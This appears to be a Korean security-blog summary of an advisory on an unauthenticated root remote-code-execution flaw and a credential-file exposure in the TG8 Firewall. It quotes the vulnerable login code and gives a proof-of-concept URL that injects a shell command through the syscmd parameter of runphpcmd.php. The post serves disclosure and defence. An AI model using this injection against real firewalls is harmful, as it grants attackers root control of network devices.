[하루한줄] TG8 Firewall의 PreAuth 원격 코드실행 취약점

URL

SSD Advisory – TG8 Firewall PreAuth RCE and Password Disclosure

Target

  • TG8 Firewall

Explain

TG8 Security 사의 방화벽에서 인증되지 않은 root 권한의 원격 코드 실행 취약점이 발견되어 세부 정보가 공개되었습니다.

취약점은 인증 요청을 처리하는 index.php 에 존재하며 아래와 같습니다.

...
  function checkLogin() {
    var username = $('input[name=u]').val();
    var pass = $('input[name=p]').val();

    var cmd = 'sudo /home/TG8/v3/syscmd/check_gui_login.sh ' + username + ' ' + pass;
    $.ajax({
      url: "runphpcmd.php",
      type: "post",
      dataType: "json",
      cache: "false",
      data: {
        syscmd: cmd
      },
      success: function (x) {
        if (x == 'OK') {
          ok(username);
        } else {
          failed();
        }
      },
      error: function () {
      ok(username);
        // alert("failure to excute the command");
      }
    })
  }
...

인증 요청을 받으면 로그인을 처리하는 check_gui_login.shusernamepass를 매개변수로 명령을 구성합니다. 이는 runphpcmd.phpsyscmd로 전달되고 root 권한으로 check_gui_login.sh가 실행됩니다. 그러나 syscmd에 대한 어떠한 검사도 존재하지 않아 해커가 임의의 코드를 포함한 syscmd를 매개변수로 runphpcmd.php에 직접 요청하면 원격 코드 실행이 트리거 됩니다.

root 권한으로 ls 명령어를 실행하는 PoC는 다음과 같습니다.

http://<server>/admin/runphpcmd.php?syscmd=sudo+%2Fhome%2FTG8%2Fv3%2Fsyscmd%2Fcheck_gui_login.sh+%3Bls%3B++local

제보자는 해당 취약점 외에도 액세스 권한 설정 미흡으로 인해 인증되지 않은 사용자가 /data/ 디렉터리의 자격 증명 파일에 접근할 수 있는 정보유출 취약점 또한 발견했습니다.

이를 해당 방화벽 장비의 공급 업체인 TG8에게 SNS 및 이메일을 통해 여러 차례 제보하였으나 공급 업체로부터 어떠한 응답도 받지 못했다고 밝혔으며, 해당 장비를 사용하고 있다면 즉시 외부 인터넷으로 통하는 포트를 차단할 것을 강력하게 권고했습니다.